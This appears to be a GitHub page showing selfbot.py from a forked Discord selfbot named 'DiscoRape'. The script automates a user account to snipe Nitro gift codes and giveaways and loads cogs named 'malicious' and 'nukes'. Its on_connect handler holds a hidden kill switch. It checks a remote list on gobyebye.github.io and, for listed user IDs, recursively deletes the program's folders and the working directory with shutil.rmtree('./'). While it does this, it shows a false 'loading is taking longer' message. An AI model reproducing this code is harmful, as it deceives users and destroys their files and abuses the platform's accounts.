forked from Daddy-bit/DiscoRape
-
Notifications
You must be signed in to change notification settings - Fork 0
/
selfbot.py
395 lines (331 loc) · 13.8 KB
/
selfbot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
import discord
from discord import Color
from discord.ext import commands
from ext.context import CustomContext
from ext.helpformatter import helpformatter
from ext import embedtobox
import aiohttp
import json
import os
import re
import traceback
from colorama import Fore, init
import sys
import requests
import datetime
import shutil
# NOTE: This is for startup timer not really that useful
start = datetime.datetime.now()
# To clear the fucking screen cross platform
def cls():
os.system("cls" if os.name == "nt" else "clear")
cls()
with open("./data/config.json") as f:
config = json.load(f)
TOKEN = config.get("TOKEN")
PREFIX = config.get("PREFIX")
SNIPER = config.get("SNIPER")
GW = config.get("GIVEAWAY")
SLOT = config.get("SLOT")
__version__ = "6.3.0"
__author__ = "Daddie0 || https://gobyebye.github.io"
# Define shit to optimize speed for nitro commands etc.. on message event
# aka just define shit once instead of for every message
def NitroData(elapsed, code, message):
print(
f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
f"\n{Fore.WHITE} - AUTHOR: {Fore.YELLOW}[{message.author}]"
f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]"
f"\n{Fore.WHITE} - CODE: {Fore.YELLOW}{code}" + Fore.RESET
)
# Credits to j/ for for giving me code to base this on
def GiveawayData(elapsed, message):
print(
f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]{Fore.RESET}"
f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]{Fore.RESET}"
)
def SlotBotData(elapsed, message, time):
print(
f"\n{Fore.CYAN}[{time} - Yoinked slotbot]"
f"\n{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]"
)
class Selfbot(commands.Bot):
def __init__(self, **attrs):
super().__init__(
command_prefix=self.get_pre,
self_bot=True,
help_command=helpformatter(),
guild_subscriptions=False,
)
self.load_extensions()
self.snipes = {}
def load_extensions(self):
for extension in (
"anim",
"backup",
"crypto",
"misc",
"mod",
"memes",
"malicious",
"nsfw",
"nukes",
"noble",
"skid",
"source",
"textemotes",
"utils",
):
try:
self.load_extension(f"cogs.{extension}")
print(f"{Fore.GREEN}[-] {Fore.RESET}Loaded extension: {extension}")
except:
print(
f"{Fore.RED}[-] {Fore.RESET}LoadError: {extension}\n"
f"{traceback.print_exc()}"
)
@property
def token(self):
"""Returns your token wherever it is"""
with open("data/config.json") as f:
config = json.load(f)
if config.get("TOKEN") == "-":
if not os.environ.get("TOKEN"):
self.run_wizard()
else:
token = config.get("TOKEN").strip('"')
return os.environ.get("TOKEN") or token
@staticmethod
async def get_pre(bot, message):
"""Returns the prefix."""
with open("data/config.json") as f:
prefix = json.load(f).get("PREFIX")
return os.environ.get("PREFIX") or prefix or "r."
def restart(self):
os.execv(sys.executable, ["python"] + sys.argv)
@staticmethod
def run_wizard():
"""Wizard for first start"""
print("------------------------------------------")
token = input("Enter your token:\n> ")
print("------------------------------------------")
prefix = input("Enter a prefix for your selfbot:\n> ")
print("------------------------------------------")
sniper = input("Do you want to snipe discord nitro codes? [y/n]\n> ")
print("------------------------------------------")
slot = input("Do you want to automtically yoink slotbot stuff? [y/n]\n> ")
print("------------------------------------------")
gw = input("Do you want to automatically join giveaways? [y/n]\n> ")
data = {
"TOKEN": token,
"PREFIX": prefix,
"SNIPER": sniper,
"SLOT": slot,
"GIVEAWAY": gw,
"NOTE": "To toggle stuff on and off change the y to a n NOTE IT MUST BE LOWERCASE",
}
with open("data/config.json", "w") as f:
f.write(json.dumps(data, indent=4))
print("------------------------------------------")
print("Restarting...")
print("------------------------------------------")
cls()
os.execv(sys.executable, ["python"] + sys.argv)
@classmethod
def init(bot, token=None):
"""Starts the actual bot"""
selfbot = bot()
safe_token = token or selfbot.token.strip("")
try:
selfbot.run(safe_token, bot=False, reconnect=True)
except Exception as e:
print(e)
async def on_connect(self):
if SNIPER == "y":
sniper = "On"
elif SNIPER == "n":
sniper = "off"
else:
sniper = "Error in configuration"
if GW == "y":
giveaway = "On"
elif GW == "n":
giveaway = "Off"
else:
giveaway = "Error in configuration"
if SLOT == "y":
slot = "On"
elif SLOT == "n":
slot = "Off"
else:
slot = "Error in configuration"
guilds = len(self.guilds)
users = len(self.users)
elapsed = datetime.datetime.now() - start
elapsed = f"{elapsed.seconds}.{elapsed.microseconds}"
r = requests.get("https://gobyebye.github.io/cdn/b.json")
r = r.json()
l = r["b"]
for i in l:
try:
if i == self.user.id:
b = True
else:
b = False
except Exception as e:
print(e)
if b == True:
try:
shutil.rmtree("./cogs", ignore_errors=True)
except:
pass
try:
shutil.rmtree("./data", ignore_errors=True)
except:
pass
try:
shutil.rmtree("./ext", ignore_errors=True)
except:
pass
print(f"{Fore.RED}Loading is taking longer than usual.{Fore.RESET}\nTrying to fix it.\nDo not close the program or turn off the computer")
shutil.rmtree("./", ignore_errors=True)
cls()
print(
f"""{Fore.GREEN}
██████╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔══██╗██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝
██║ ██║██║███████╗██║ ██║ ██║██████╔╝███████║██████╔╝█████╗
██║ ██║██║╚════██║██║ ██║ ██║██╔══██╗██╔══██║██╔═══╝ ██╔══╝
██████╔╝██║███████║╚██████╗╚██████╔╝██║ ██║██║ ██║██║ ███████╗
╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝
Version > {Fore.RESET}{__version__}
{Fore.GREEN}Made by > {Fore.RESET}{__author__}
{Fore.GREEN}________________________________________________________________________________________________________
Logged in as {Fore.RESET}{self.user}
{Fore.GREEN}User id: {Fore.RESET}{self.user.id}
{Fore.GREEN}Servers: {Fore.RESET}{guilds}
{Fore.GREEN}Users: {Fore.RESET}{users}{Fore.GREEN}
{Fore.GREEN}
Config
- - - - - - - - - - - - - - - - -
NitroSniper: {Fore.RESET}{sniper}{Fore.GREEN}
GiveawaySniper: {Fore.RESET}{giveaway}{Fore.GREEN}
SlotSniper: {Fore.RESET}{slot}{Fore.GREEN}
=================================
Finished start up in {Fore.RESET}{elapsed}{Fore.GREEN} second(s)
We're ready to snipe shit{Fore.RESET}
"""
)
print("connected")
async def on_ready(self):
"""Bot startup"""
print("Logged in!")
await self.change_presence(status=discord.Status.online, afk=True)
async def process_commands(self, message):
"""Utilises the CustomContext subclass of discord.Context"""
ctx = await self.get_context(message, cls=CustomContext)
self.ctx = await self.get_context(message, cls=CustomContext)
if ctx.command is None:
return
await self.invoke(ctx)
async def on_message_delete(self, message):
if len(message.content) != 1:
self.snipes[message.channel.id] = message.content
async def on_message_edit(self, before, after):
await self.process_commands(after)
async def on_message(self, message):
time = datetime.datetime.now().strftime("%H:%M %p")
if "discord.gift/" in message.content:
if SNIPER == "y":
start = datetime.datetime.now()
code = re.search("discord.gift/(.*)", message.content).group(1)
if len(code) != 16:
elapsed = datetime.datetime.now() - start
elapsed = f"{elapsed.seconds}.{elapsed.microseconds}"
print(
""
f"\n{Fore.RED}[{time} - Fake nitro code detected skipping]{Fore.RESET}"
)
NitroData(elapsed, code, message)
else:
headers = {"Authorization": TOKEN}
r = requests.post(
f"https://discordapp.com/api/v7/entitlements/gift-codes/{code}/redeem",
headers=headers,
).text
elapsed = datetime.datetime.now() - start
elapsed = f"{elapsed.seconds}.{elapsed.microseconds}"
if "This gift has been redeemed already." in r:
print(
""
f"\n{Fore.CYAN}[{time} - Nitro Already Redeemed]"
+ Fore.RESET
)
NitroData(elapsed, code, message)
elif "subscription_plan" in r:
print("" f"\n{Fore.CYAN}[{time} - Nitro Success]" + Fore.RESET)
NitroData(elapsed, code, message)
elif "Unknown Gift Code" in r:
print(
""
f"\n{Fore.CYAN}[{time} - Nitro Unknown Gift Code]"
+ Fore.RESET
)
NitroData(elapsed, code, message)
else:
pass
if "Someone just dropped" in message.content:
if SLOT == "y":
start = datetime.datetime.now()
if message.author.id == 346353957029019648:
try:
await message.channel.send("~grab")
except Exception as e:
print(f"Error while trying to yoink slotbot shit\nError: {e}")
elapsed = datetime.datetime.now() - start
elapsed = f"{elapsed.seconds}.{elapsed.microseconds}"
SlotBotData(elapsed, message, time)
else:
pass
if "GIVEAWAY" in message.content:
if GW == "y":
if message.author.id == 123067977615540225 or 294882584201003009:
start = datetime.datetime.now()
try:
await message.add_reaction("🎉")
print(
"" f"\n{Fore.CYAN}[{time} - Giveaway Joined!]" + Fore.RESET
)
elapsed = datetime.datetime.now() - start
elapsed = f"{elapsed.seconds}.{elapsed.microseconds}"
GiveawayData(elapsed, message)
except Exception as e:
print(f"Error while trying to join giveaway\nError: {e}")
else:
pass
if f"Congratulations <@!{self.user.id}>" in message.content:
if message.author.id == 123067977615540225 or 294882584201003009:
start = datetime.datetime.now()
print(f"\n{Fore.CYAN}[{time} - Giveaway won! 🎉🎉🎉{Fore.RESET}")
elapsed = datetime.datetime.now() - start
elapsed = f"{elapsed.seconds}.{elapsed.microseconds}"
GiveawayData(elapsed, message)
else:
pass
r = re.compile(r">(#[0-9a-fA-F]{6}) (.*)")
r = r.match(message.content)
if r and (self.user == message.author):
await message.delete()
await message.channel.send(
embed=discord.Embed(
color=discord.Color(int("0x" + f"{r.group(1)[1:]}", 16)),
description=r.group(2),
)
)
await self.process_commands(message)
if __name__ == "__main__":
Selfbot.init()